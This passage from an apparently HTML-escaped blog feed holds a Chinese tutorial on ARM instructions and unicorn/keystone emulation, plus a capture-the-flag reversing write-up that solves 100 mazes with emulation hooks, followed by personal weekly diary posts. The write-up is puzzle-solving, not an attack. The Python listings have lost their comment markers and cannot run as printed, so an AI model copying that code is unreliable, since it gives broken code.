&lt;li&gt;&lt;code&gt;BEQ&lt;/code&gt;: 条件分支指令。如果最近的 &lt;code&gt;CMP&lt;/code&gt; 结果为相等，则跳转到标签。例如，&lt;code&gt;BEQ end&lt;/code&gt; 如果条件满足（相等）则跳转到 &lt;code&gt;end&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ADD&lt;/code&gt;: 加法指令。将两个寄存器的值相加并存储到另一寄存器。例如，&lt;code&gt;ADD R3, R1, R2&lt;/code&gt; 把R1和R2的值相加，结果存储在R3。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SUB&lt;/code&gt;: 减法指令。从一个寄存器的值中减去另一个寄存器的值或立即数。例如，&lt;code&gt;SUB R0, R0, 1&lt;/code&gt; 是将R0的值减1。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;B&lt;/code&gt;: 无条件跳转指令。跳转到指定的标签。例如，&lt;code&gt;B loop&lt;/code&gt; 无条件跳转回 &lt;code&gt;loop&lt;/code&gt; 标签。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LDR/STR&lt;/code&gt; (Load/Store): 用于从内存加载数据到寄存器或将数据从寄存器存储到内存。
&lt;ul&gt;
&lt;li&gt;示例：&lt;code&gt;LDR R3, [R1]&lt;/code&gt; 从由R1指定的内存地址加载数据到R3。&lt;/li&gt;
&lt;li&gt;示例：&lt;code&gt;STR R3, [R1]&lt;/code&gt; 将R3的数据存储到由R1指定的内存地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BL/BLX&lt;/code&gt; (Branch with Link/Branch with Link and Exchange): 用于函数调用，保存返回地址到链接寄存器（LR）。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;示例：&lt;code&gt;BL function_name&lt;/code&gt; 调用名为 &lt;code&gt;function_name&lt;/code&gt; 的函数，并将返回地址保存在LR中。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;PUSH/POP&lt;/code&gt; (Stack Push/Stack Pop): 用于操作堆栈，通常在函数调用中保存和恢复寄存器。
&lt;ul&gt;
&lt;li&gt;示例：&lt;code&gt;PUSH {R0, R1, LR}&lt;/code&gt; 将R0, R1, 和链接寄存器LR压栈。&lt;/li&gt;
&lt;li&gt;示例：&lt;code&gt;POP {R0, R1, LR}&lt;/code&gt; 从堆栈中弹出数据到R0, R1, 和LR。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BNE, BGT, BLE, etc.&lt;/code&gt; (Branch if Not Equal, Branch if Greater Than, Branch if Less or Equal, etc.): 条件分支指令，基于CMP指令设置的标志进行分支。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;示例：&lt;code&gt;BNE somewhere&lt;/code&gt; 如果最后一次比较结果不相等，则跳转到 &lt;code&gt;somewhere&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;模拟执行&lt;/p&gt;
&lt;p&gt;这里因为我们是直接写的arm汇编代码，机器其实是不认识的，因此还需要借助 keystone 工具来将其转为机器码，转为机器码之后就可以模拟执行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from unicorn import *
from unicorn.arm_const import *
from keystone import *

 ARM汇编代码
arm_code = &quot;&quot;&quot;
.global main
main:
    MOV R0, 10          // 设置斐波那契数列的长度为10
    MOV R1, 0           // 初始化第一个斐波那契数为0
    MOV R2, 1           // 初始化第二个斐波那契数为1
loop:
    CMP R0, 0           // 检查计数器是否为0
    BEQ end              // 如果计数器为0，则跳转到end
    ADD R3, R1, R2       // 计算下一个斐波那契数
    MOV R1, R2           // 更新第一个斐波那契数为当前第二个斐波那契数
    MOV R2, R3           // 更新第二个斐波那契数为刚计算出的数
    SUB R0, R0, 1       // 计数器减1
    B loop               // 跳转回循环开始处
end:
    // 结束程序
&quot;&quot;&quot;

 初始化Keystone引擎
ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)

 将ARM汇编代码编译为二进制代码
arm_code_binary, _ = ks.asm(arm_code.encode())

 设置模拟器
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)

 分配内存空间并将ARM代码加载到内存中
ADDRESS = 0x1000000
mu.mem_map(ADDRESS, 0x1000)
mu.mem_write(ADDRESS, bytes(arm_code_binary))

 设置寄存器初始值
mu.reg_write(UC_ARM_REG_SP, 0x7fffffff)

 定义hook函数，在每条指令执行后输出寄存器的值
def hook_code(uc, address, size, user_data):
    print(f&quot;Instruction at 0x{address:x} executed&quot;)
     寄存器名称映射
    reg_names = {
        UC_ARM_REG_R0: &apos;R0&apos;,
        UC_ARM_REG_R1: &apos;R1&apos;,
        UC_ARM_REG_R2: &apos;R2&apos;,
        UC_ARM_REG_R3: &apos;R3&apos;,
    }
    for reg in [UC_ARM_REG_R0, UC_ARM_REG_R1, UC_ARM_REG_R2, UC_ARM_REG_R3]:
        reg_value = mu.reg_read(reg)
        reg_name = reg_names.get(reg, &apos;Unknown&apos;)
        print(f&quot;{reg_name}: {reg_value}&quot;)
    print()

 添加hook函数，在每条指令执行后触发
mu.hook_add(UC_HOOK_CODE, hook_code)

 开始模拟执行
try:
    mu.emu_start(ADDRESS, ADDRESS + len(arm_code_binary))
except UcError as e:
    print(f&quot;Error: {e}&quot;)

 输出寄存器值
print(&quot;R1:&quot;, mu.reg_read(UC_ARM_REG_R1))
print(&quot;R2:&quot;, mu.reg_read(UC_ARM_REG_R2))
print(&quot;最终结果 R3:&quot;, mu.reg_read(UC_ARM_REG_R3))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解题&lt;/p&gt;
&lt;p&gt;网上能找到的比较有意思的题目应该就是这道 100mazes了，参考： &lt;a href=&quot;https://yaoxixixi.github.io/2021/08/03/unicorn/&quot;&gt; 例题：MTCTF2021 100mazes &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;题目的要求是： 有100个迷宫，需要给出每个迷宫的路线，最后提交这些路线的md5结果作为flag&lt;/p&gt;
&lt;p&gt;那肯定是不能直接手动求解啊，于是观察每个迷宫的代码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmeK4eDDFu6AArqF4Cz76epBERwxiajeF56ZqCYdwCoYvP.png&quot; alt=&quot;企业微信截图_4c99ea50-1a32-4a7d-bb22-af38a9bd407c&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后每个函数其实都是读取迷宫数据，再根据你的输入路线判断能否到达终点：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmaYHzjHwetg3zHBHtWkfuyMwo6TfQQSywaWKtqoaz3C4r.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么就可以编写代码，提取到迷宫数据，然后再通过dfs搜索能否走到迷宫了（其实不用模拟执行也不是不行？毕竟你也可以通过写脚本比如idapython提取迷宫数据，然后再编写代码走迷宫）&lt;/p&gt;
&lt;p&gt;这里就重点分析下他是如何用unicorn去模拟执行代码的，虽然unicorn是能直接模拟指令层面的，但是对于类似printf这类函数就无能为力了，因此需要做额外处理&lt;/p&gt;
&lt;p&gt;另外就是这里除了寄存器，还需要模拟一个栈&lt;/p&gt;
&lt;p&gt;关键代码就是这个，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def hook_code(uc, address, size, user_data):
    global map_data, str_map, ans_map, ans, all_input
     print(&apos;&amp;gt;&amp;gt;&amp;gt; Tracing instruction at 0x%x, instruction size = 0x%x&apos; % (address, size))
    assert isinstance(uc, Uc)
    code = uc.mem_read(address, 4)
    if code == b&quot;\x48\x0F\xC7\xF0&quot;:
        uc.reg_write(UC_X86_REG_RIP, address + 4)        遇见rdrand rax直接跳过

    if address == 0x640:                                 遇见printf ret
        rsp = uc.reg_read(UC_X86_REG_RSP)
        retn_addr = u64(uc.mem_read(rsp, 8))
        uc.reg_write(UC_X86_REG_RIP, retn_addr)
    elif address == 0x650:                               遇见getchar  读取迷宫
        rbp = uc.reg_read(UC_X86_REG_RBP)
        maze_data = uc.mem_read(rbp - 0xC6A, 0x625)      迷宫数据
        step_data = uc.mem_read(rbp - 0x9F9, 4).decode() 方向数据
        xor_data = uc.mem_read(rbp - 0x9D0, 0x9C4)       异或数据
        lr_val = u32(uc.mem_read(rbp - 0x9F4, 4))        起点x
        ur_val = u32(uc.mem_read(rbp - 0x9F0, 4))        起点y

        maze_data = list(maze_data)                      异或
        for i in range(0, 0x9C4, 4):
            maze_data[i // 4] ^= u32(xor_data[i: i + 4])

        for i in range(25):                              合成最终的迷宫
            line_data = &quot;&quot;
            for j in range(25):
                line_data += chr(maze_data[i * 25 + j])
             print(line_data)

        map_data = maze_data
        str_map = step_data
        ans = &quot;&quot;
        assert dfs(0, -1, -1, lr_val, ur_val)           深搜
         print(ans)
        all_input += ans

                                                        leave;ret
        rbp = uc.reg_read(UC_X86_REG_RBP)
        new_rbp = u64(uc.mem_read(rbp, 8))
        retn_addr = u64(uc.mem_read(rbp + 8, 8))
        uc.reg_write(UC_X86_REG_RBP, new_rbp)
        uc.reg_write(UC_X86_REG_RSP, rbp + 0x18)
        uc.reg_write(UC_X86_REG_RIP, retn_addr)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>周报28 万恶的调休、零点城市与无尽的失眠</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A528-%E4%B8%87%E6%81%B6%E7%9A%84%E8%B0%83%E4%BC%91%E9%9B%B6%E7%82%B9%E5%9F%8E%E5%B8%82%E4%B8%8E%E6%97%A0%E5%B0%BD%E7%9A%84%E5%A4%B1%E7%9C%A0/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A528-%E4%B8%87%E6%81%B6%E7%9A%84%E8%B0%83%E4%BC%91%E9%9B%B6%E7%82%B9%E5%9F%8E%E5%B8%82%E4%B8%8E%E6%97%A0%E5%B0%BD%E7%9A%84%E5%A4%B1%E7%9C%A0/</guid><pubDate>Sun, 12 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报28 万恶的调休、零点城市与无尽的失眠&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmSM7Jzyf4M8ZzMzoRX8gw7DxXE3cr2s9ypDkpBQA3AAd8.png&quot; alt=&quot;zhoubao28&quot; /&gt;&lt;/p&gt;
&lt;p&gt;五一节后便是万恶的调休，假期后连上六天班真的有点顶不住，再加上连续好几天的失眠，让本就疲惫的人雪上加霜。可问题是尽管失眠，但白天的精神却又出奇的好，到了晚上又开始失眠，实在是郁闷。&lt;/p&gt;
&lt;p&gt;我曾反思过自己失眠的原因，估计就是想太多。我很喜欢伍尔夫的《墙上的斑点》，这种意识流的作品，尽管确实不知道作者写了什么🤣。但我的失眠有很大一部分原因就是这种意识流的思考所导致的，但为啥我就没法成为像伍尔夫一样的作家呢🐶&lt;/p&gt;
&lt;p&gt;这种带点胡思乱想的症状，似乎我小学时候就意识到了。我至今还记得那好像是小学毕业考试，一堂数学考试吧，我早早地就做完了试卷，检查多次也没发现什么问题。这时我突然做了一个实验，我盯着课桌上，那因为被学生使用过多次导致的划痕，开始了我的跳跃思维实验。&lt;/p&gt;
&lt;p&gt;具体想了什么肯定是不得而知了，但我确实发现，我的思维就能毫无症状的从一件事跳到另一件事，无数的思绪如放电影一样，我甚至都无法阻止，最后指的使劲摇了摇头，让自己回到现实中。&lt;/p&gt;
&lt;p&gt;零点城市&lt;/p&gt;
&lt;p&gt;不过最近失眠的原因，除了胡思乱想外，还有一层原因，得怪自己强行把生物钟给打乱了🐶&lt;/p&gt;
&lt;p&gt;很久以前，大概还是上高中的那会，我记得杂志是很流行的，最经典的就是《Vista 看天下》了吧，当然读者、意林、作文素材之类的也很受原因。但我依稀记得有一本略带点与众不同气质，文风类似《萌芽》的杂志，名字早已不记得。在其上看到过一篇《零点城市》的文章，印象特别深刻，大意就是作者和朋友在零点过后的城市街道边散步，有了一种与平常观察城市全然不同的视角，于是写下了这篇文章&lt;/p&gt;
&lt;p&gt;读书的年纪自然是少有机会，在零点过后的城市闲逛，但不知怎的，这篇文章却一直被我记着，估计是幻想着某一天也能和朋友，体验这种全新的观察视角吧。&lt;/p&gt;
&lt;p&gt;小时候生活在农村，就一直憧憬着城市生活，因为城市里不会向农村家家户户门前都养一条狗！没错，这就是一个小孩想生活在城市里最朴素的理由，我至今记得小时候对狗的恐惧，每每看到农家门口体型中等的犬对我狂吠，心里就开始憎恨为什么要生活在农村。&lt;/p&gt;
&lt;p&gt;后来也是随着时代变迁（暂时想不出一个好的词汇来形容），跟随父母搬到了城市里。虽然少了让我惧怕的狗狗，我却几乎很少感受到一种称之为“生活”的体验，不过也可以说是学业繁忙吧，高中要补课，大学寒暑假回来的也少，毕业后又直接去深圳打工，中间在家停留最长的时间反倒是疫情了，不过也基本是被迫宅在家里。&lt;/p&gt;
&lt;p&gt;但我内心中还是喜欢城市的，不过现在也不会那么排斥农村了，因为现在可能没那么怕狗了吧🐶。尤其喜欢在周末的时候，坐上一趟公交，慢悠悠地到达我的目的地。为什么喜欢坐公交呢，因为它提供了一种全新的视角，相比小轿车，公交车的位置更高，视野更好&lt;/p&gt;
&lt;p&gt;人总是很奇怪的，当你处在一个很低的位置，当你的视线被遮挡，你就会感到烦闷。而公交车上，你的视野是开阔的，是不受遮挡的，是一览众山小的。&lt;/p&gt;
&lt;p&gt;古人登高，方有慨然之志，方有栏杆拍遍的豪情，方有潦倒新停浊酒杯的苦闷。可见如果想要解忧愁，就得登高，但是我又懒得爬山，那就坐公交吧🤣&lt;/p&gt;
&lt;p&gt;但我更喜欢的还是在零点之后去观察这座城市，此时，原本繁华的商圈，早已寥寥，那些装点华美的灯光，装饰，全都变得黯淡，反倒是最朴实无华的排挡，那些俗气到爆的灯光下，人们依旧喧闹。&lt;/p&gt;
&lt;p&gt;我写不出那么好的文字，于是抱着试一试的心态，尝试去找我记忆中的《零点城市》这篇文章&lt;/p&gt;
&lt;p&gt;没想到还真让我找到了这篇文章，摘录其中的内容如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;零点，大多的商铺选择了关门大吉，超市都是九点多就把门关了。碰上闲暇的日子和朋友出去旅行，来到一座陌生的城市，都想去看看他它的夜景，一个城市的繁华程度往往取决于它的夜景。我们不是要看它有多繁荣，而是看它零点的风景。那时候，有些小摊贩还在一边打哈欠一边工作，这时候是没有人管着他们的，城管早就下了班抱着爱人睡觉了。打工仔们赤膊在某个风口谈笑风生，他们也许不喜欢打麻将出来吹吹这自然的风也许是打完麻将出来散散心。这里也有煲电话的，和在另一个城市的亲朋好友，女朋友接上电话机不想放下了。说着自己都不知道是什么的话，两三个小时，扯着事，笑哈哈的，最起码从声音里给他们证明一切安好。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;零点的城市是带着灵性的，我一直都这么认为。这里有数不清的人把自己的故事在这个点上，在这个陌生的城市毫不保留的呈现给这座城市。这时候明白了既来之，则安之的道理。偶尔有两三个taxi，拉黄包车的，扎堆的打扑克，这是他们唯一的娱乐。如果你是千千万万个人群中的一个，就融入这个点上的城市，养成他们的习惯，体会他们的生活。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;flomo&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里记录我摘录到flomo的话，附上一些我的感想&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一个洞穴是黑暗的，但只要有光打了进去，黑暗就不再是他的宿命
大洋是隔绝的，沙漠是危险的，但只要有人穿了过去，阻绝就不再是我们的宿命
一个人一生是孤独的，但你只要感受过一次被爱，你就会忘不掉，孤独不再是你的宿命&lt;/p&gt;
&lt;p&gt;—— 陈铭为什么那么会说啊，这句话我真的很喜欢，语出辩论赛《被误解是表达者的宿命吗》，反方&lt;/p&gt;
&lt;p&gt;我个人认为，小说，是不需要「被解构」的，不需要「看懂」，不需要做「阅读理解」。你感觉到了，就行了；或者你感觉不到，那就去另找一本。感觉就是感觉，不需要解释后再「明白」，这本书确实让我颅内高潮了好多次。&lt;/p&gt;
&lt;p&gt;—— 出自 &lt;a href=&quot;https://mp.weixin.qq.com/s/4Edk8_qTazudFXGIrbmucg&quot;&gt;这篇公众号文章&lt;/a&gt;，点评《夜晚的潜水艇》，“颅内高潮”这个词学到了，我觉得我经常有这种感觉，那种拍大腿的惊喜&lt;/p&gt;
&lt;p&gt;书无法完整替代人，尤其一开始时，但大致来说，人能做到的，书差不多都能做得到，某些方面甚至还更好，只因为书毕竟是由那些更好的，层层挑拣出来的人写成的，不像能陪伴你的人通常只由命运潮水带来，相处总杂着些许义务。而且，时间一拉长就不一定了，时间愈拉长，书愈能显露出它源源的、丰厚的内容，所以找书可以比找人更主动更多选择也更准确，你愈找它就愈会找，你会感觉还有些东西——技艺、见识，鉴赏能力云云—— 多得的礼物。默默在自己身体里累积着，如多得的礼物&lt;/p&gt;
&lt;p&gt;—— 语出唐诺老师的《求剑》，最近开始喜欢上了唐诺老师，他的思考真的很深刻，字里行间中都能透出他深邃的思考&lt;/p&gt;
&lt;p&gt;今天中午我专门问了一下同事，有没有感兴趣的话题，我收到反馈说：现在很多团队都很焦虑，其中一个原因是大家的目标感特别强，做了很多对标竞品的计划，但这样特别累，陷入到跟竞争对手对比、用同样的方法去做事情的状态。这个跟我理解的产品方法是有点不同的，好的产品有非常多内驱的自我表达部分，如果我们忽略了自我表达的部分，纯粹做数值的计算，或者纯粹地做求解，差别还是非常大的。并且，我们工作创造的价值是我们对一个新的事情的独特认知所带来的，如果我们去对标竞争对手而做，那我们没有创造新的知识，因而也很难让产品变得更有价值。&lt;/p&gt;
&lt;p&gt;—— 语出小龙哥，我一直觉得小龙哥的思考是很深的，在其他老板都说着一些虚无缥缈的，难以落地的，高大上的方法论时，他总能一句话点出问题的本质。最近还想到一个暴论，好的产品，其实就是要独裁，你管什么用户的吐槽（当然正常的反馈没问题），但是但凡要教我做事的，都滚一边去吧&lt;/p&gt;
&lt;p&gt;或许后来的人不会意识到，那年微信红包最重要的内核是真诚。
最难复制的，不过简单纯粹而已。&lt;/p&gt;
&lt;p&gt;—— 语出《微信十年》，我写了一条点评：“用户永远是一群流氓，永远贪得无厌，永远得寸进尺，永远自以为是。对付这群流氓最简单的方式，也就是最直接的方式，还可以借此让流氓的胃口变大”&lt;/p&gt;
</content:encoded></item><item><title>周报27 推迟两个月的更新、深圳的大雨和一些杂七杂八的记录</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A527-%E6%8E%A8%E8%BF%9F%E4%B8%A4%E4%B8%AA%E6%9C%88%E7%9A%84%E6%9B%B4%E6%96%B0%E6%B7%B1%E5%9C%B3%E7%9A%84%E5%A4%A7%E9%9B%A8%E5%92%8C%E4%B8%80%E4%BA%9B%E6%9D%82%E4%B8%83%E6%9D%82%E5%85%AB%E7%9A%84%E8%AE%B0%E5%BD%95/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A527-%E6%8E%A8%E8%BF%9F%E4%B8%A4%E4%B8%AA%E6%9C%88%E7%9A%84%E6%9B%B4%E6%96%B0%E6%B7%B1%E5%9C%B3%E7%9A%84%E5%A4%A7%E9%9B%A8%E5%92%8C%E4%B8%80%E4%BA%9B%E6%9D%82%E4%B8%83%E6%9D%82%E5%85%AB%E7%9A%84%E8%AE%B0%E5%BD%95/</guid><pubDate>Thu, 02 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报27 推迟两个月的更新、深圳的大雨和一些杂七杂八的记录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmYSEA4GpQp8RcYKSo4ixwermMLPXtXMAiGFyk4zuP9mCb.png&quot; alt=&quot;Group 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这是一篇迟到了两个月的更新&lt;/p&gt;
&lt;p&gt;写作最适合独处，独处时最适合写作，由此，写作频率的减少，反推处我的独处时间在大量减少&lt;/p&gt;
&lt;p&gt;因此我从没想到，去年一次偶然的决定去参加读书会，让我收获了这么多朋友&lt;/p&gt;
&lt;p&gt;我们可以在美好的4月天，于深圳湾处，寻个阴凉的草地，争论《大国大城》的观点，从下午吵到晚上，再连续微信群里吵一周
我们也可以在深夜狼人杀，猎人被刀开枪女巫好人阵营直接崩盘
也可以在公司一间宽敞的会议室里，邀请喜欢阅读的朋友们，就一本书分享各自的观点&lt;/p&gt;
&lt;p&gt;这是我此前从未经历过的，以致于没有时间写一点伤感的文字来假装矫情一下了 /doge&lt;/p&gt;
&lt;p&gt;后续的更新会慢慢补上的，慢慢来吧~&lt;/p&gt;
&lt;p&gt;关于探讨《大国大城》&lt;/p&gt;
&lt;p&gt;一场关于自由主义和保守主义的对立，作为正方的我和老李，赞同书中陆铭的观点，人口就需要自由流动起来，建设用地指标也可以流动起来，大城市不再需要顾虑耕地红线指标&lt;/p&gt;
&lt;p&gt;作为反方的haofeng和友人，则强烈反对，认为这势必会导致弱势群体进一步被剥削，国家的稳定性得不到保障&lt;/p&gt;
&lt;p&gt;我本来也想参与讨论的，但奈何“吵”起来的时候，大家基本各说各话，很难达到统一的观点哈哈哈哈。但这场讨论是我见过最激烈最好玩的了，我们从下午草地上吵到晚上吃饭的时候，回家后又在微信群里吵，后面工作的一周也一直在吵哈哈哈哈&lt;/p&gt;
&lt;p&gt;记录一下：&lt;/p&gt;
&lt;p&gt;—— from haofeng
= =。几个问题：
一、财政拨款的问题。要搞的话财政支出的哪一块进行拨款支出；
1.1非财政拨款，债务形式实现。由政府发债，银行进行借贷解决的话。参照地产模式，仍旧是银行作为贷款方，企业/政府发行债券，拿到钱后进行补偿；08--13年期间确实有此空间，相当于挤占了政府那会的卖地收入，减少了基础设施建设，变相补贴给进城居民；
1.2非财政、非债务，由央行直接印钞的话，那就会造成短期的通胀，而后经贷款、生产的供应链条，长时间后造成商品的通缩和企业的大规模呆坏账；其次仍有名额先后的问题；
1.3挤占现有财政资源。那对应领财政支出的项目就要减少。
如果要搞，当下合理的应该是资产税——遗产税、地产税、离境税等税种进行收取，然后就新增地税源进行再分配、补偿。&lt;/p&gt;
&lt;p&gt;但不论咋说，真正的问题是城乡不均等发展的问题。城乡不均等的局面，一方面是商品经济循环发展中的必然，另一方面却是现代生产分工模式下的必然。前者是资本利润增值为驱动，信贷增生的循环问题——不可能大规模全国一致化；后者则是人的发展和受教育问题，而这却是当下全世界的难题——穷却不思变的家风和宣传问题和阶级分化后的中产阶级对于阶级传承的问题——中国起码有高考的平均线；哪怕以不计后果的形式给了他们补偿，大量货币的凭空投放，市场生产、外汇、投资市场、养老和医疗资源的再分配会产生新的波动；而大量的货币投放，在一次（工资）、二次（税）、三次（养老社保）分配机制极其不完善的当下，我想最终也势必会造就新的财富分配平衡（罗马和牛马问题，基尼系数再次增大），新的阶级剥削罢了。&lt;/p&gt;
&lt;p&gt;从政策制定者来说，不确定性太大了，稳定＞发展——现在连每年应届毕业生的1000万就业都困难，国际环境波诡云谲，资产税都不敢提的当下，我觉得这类变革风险极大，要搞、要论可以，当我们人民币真正的东亚化，能收铸币税，当我们的资产税能收起来再说这个也不迟&lt;/p&gt;
&lt;p&gt;二则是执行的问题。不展开了，古往今来，好的政策，而执行的乱七八糟的多了去了。当年的4万亿初衷一定是好，最后怎么搞成影子银行，这些故事的映射到最后，都是人的问题——作为父母官，你怎么能干这事？？
也因此，为啥我对人性是持悲观态度的——鲁迅说的对啊：我翻开历史一查，这历史没有年代，歪歪斜斜的每页上都写着“仁义道德”几个字。我横竖睡不着，仔细看了半夜，才从字缝里看出字来，满本都写着两个字是“吃人”！&lt;/p&gt;
&lt;p&gt;—— from 老李的观点&lt;/p&gt;
&lt;p&gt;首先第一点，土地资源是优质资产，财政拨款不是问题，烂债都有一堆人投，烂项目也能骗到政府，这种优质项目害怕没人投？所以你提的问题根本不存在。
我之所以反复列举出虎门大桥的案例就是如此，优质项目不怕没钱。怕就怕钱都去了垃圾项目。&lt;/p&gt;
&lt;p&gt;第二点，发展》》》稳定，中国社会这20几年的发展极端迅速，除开文化与政策跟不上以外，快速的发展掩盖了大量问题。现在是一个问题集中爆发时期，所以感觉会相对困难。
空谈稳定是没有意义的，这个社会已经不是农业时代了，所有问题都只能在发展中解决，停滞等同于后退。
所谓的维持稳定，不过是不去解决现有问题的一种托辞，一种懒政。只是无视问题，那么矛盾积累到一定程度只会引来更大的爆发。具体可以参考90年代国企大破产，2022年12月的风波。&lt;/p&gt;
&lt;p&gt;执行与决策，最重要是决策要有科学性，要充分民主讨论，科学决策。而不是一拍脑袋，或者领导者只关注自身的一种晋升。
缺乏民主监管的决策，是危险的，这才是“本意是好的”所讽刺的情况。&lt;/p&gt;
&lt;p&gt;再次 from haofeng&lt;/p&gt;
&lt;p&gt;只能说太理想了。&lt;/p&gt;
&lt;p&gt;第一点，补补财政和财经类的书籍科目。我说的是宏观大循环，你说的是商品销售和资金归拢，不是一个事。首先不是每个都是虎门大桥，能长期，稳定盈利；其次，用地目的的好坏评价标准和评价方，太专了且太归拢了，很难做到民主监督和科学评价（类似于当下某校的学阀）；再尔，在24年的当下，好的项目（盈利且有产出）在当下不会被卡，作者写书的时候（13年）可能有项目因此无法及时上，现在不同。相当于无视很多问题强推，同时也没法解析通胀和随之而来的坏账问题。&lt;/p&gt;
&lt;p&gt;至于监管，监督，那是官僚资本主义的问题。苏联就是这么凉了的。教员对此深恶痛绝。抗日，统一战争，越战，三大改造，一次二次五年计划，都是和苏联紧密合作的，他也看到苏联的官僚化和思想的异化，也看到了国内的阶级化，他也因此更悲观了，这是为啥，他主导搞了那10年了——把造反有理，民主监督，和农民的不易深深地传递下去罢了&lt;/p&gt;
&lt;p&gt;真正的民主，法治大家都希望，可如何去做？文革从结果来说，有利有弊，可随着改开和国际的深化，大家都在追名逐利和拜物主义化了。&lt;/p&gt;
&lt;p&gt;而参政议政又涉及专业认知，意识形态斗争和个人的意愿等其他问题。&lt;/p&gt;
&lt;p&gt;起码目前的文明进程吧，没有先例&lt;/p&gt;
&lt;p&gt;先记录如下吧，很多事情也不是一下就能分清对错的🤣&lt;/p&gt;
&lt;p&gt;狼人杀的一些总结&lt;/p&gt;
&lt;p&gt;从大学开始入门，到现在狼人杀至少也玩过几十次了吧。虽然有那么多人吐槽这游戏的不好，但不管怎样，这依旧是最适合多人聚会的游戏&lt;/p&gt;
&lt;p&gt;最近和书友们玩的有点多（对，我们就是打着读书的幌子来聚会而已），总结下来几条新的经验&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;狼人杀无非是个站边拉票的游戏，一定要站边，不管站对站错
其实作为一个非预言家的神，很容易陷入自我纠结中，在平民无脑站队的时候，总是会去怀疑是不是焊跳狼，但很多时候真的没必要想太多，想太多反而容易暴露自己，所以有时候无脑站队就完了，输了怪预言家&lt;/li&gt;
&lt;li&gt;预言家一定要很勇敢地跳出来，及时表明自己的身份
这应该是最简单的道理了，但很多新手玩的时候却不敢跳。duck不必，直接跳，反正预言家也就两轮，两轮后必死hhh&lt;/li&gt;
&lt;li&gt;女巫第一晚救不救很难说，但如果被刀了就不要说自己是女巫了
嗯，算是一个坑吧，因为很容易让屠边局的好人输掉&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;桌游&lt;/p&gt;
&lt;p&gt;深圳连续几天都是大雨，连周末也不放过。周日那晚和cloris一起去玩了桌游，第一次接触到了那么多种类的桌游，不再局限于三国杀了😄。印象比较深的两人桌游中，昆虫棋是我比较喜欢的类型了，六边形的棋子，每一个棋子都有不同的功能，最终的目标是围住对面的蜂后，设计思路让我击节赞叹，但实际上手玩起来后发现，其中的复杂程度着实让我头晕了，但对于刚接触这个游戏的两人来说，先手优势是很大的，所以我两把都输了🐶&lt;/p&gt;
&lt;p&gt;相较而言，多人桌游的设计似乎有点套路公式化了，且基本都依赖相当多的道具，这一点是让我觉得玩桌游比较麻烦的，因此自己也不会去买，想玩的时候去桌游店体验就好了。我们与另外两位玩家拼桌打了两把《花砖》，设计思路和《璀璨宝石》相差不多，都是属于拿砖/宝石，组合策略，或者卡住对手，来计算分数的游戏&lt;/p&gt;
&lt;p&gt;在桌游店的另一个好处就是可以切换玩多种类型的桌游，没想到我们最后沉迷的竟然是《达芬奇密码》哈哈哈，这款猜对方数字的游戏无论是策略性还是趣味性都算是拉满了。最搞笑的是，我的每一句话都容易被对手利用，从而给出一些排除的信息，以致于我最后都不敢说话了，两人默不作声，抓牌，看牌，再对视思考，一直玩到凌晨三点左右🤣&lt;/p&gt;
&lt;p&gt;游戏&lt;/p&gt;
&lt;p&gt;作为曾今的DM遗老，当然我也看完了5ds，对于游戏王一直都保有情怀，也曾玩过duel links，但沙雕游戏又肝又氪后面弃坑去玩了一段时间《万智牌》。相较而言，万智牌的设计其实更加科学，玩法也拓宽了，轮抓的经济性更是让我研究了好久，但奈何感受不到作为一名旅法师的荣耀，于是也渐渐退坑&lt;/p&gt;
&lt;p&gt;后来k社发布了最新的游戏王master duel，最开始也顶着英文的压力沉迷了几个月，不过后来因为种种原因还是退坑了。但最近想打牌的心情又压抑不住了，于是回坑了master duel，刚巧这游戏不久前也发布了中文版本，于是直接买初始号组卡。不得不说master duel初始号转生的方式很是值得，分解合卡的机制值得给k社安排一个🐴&lt;/p&gt;
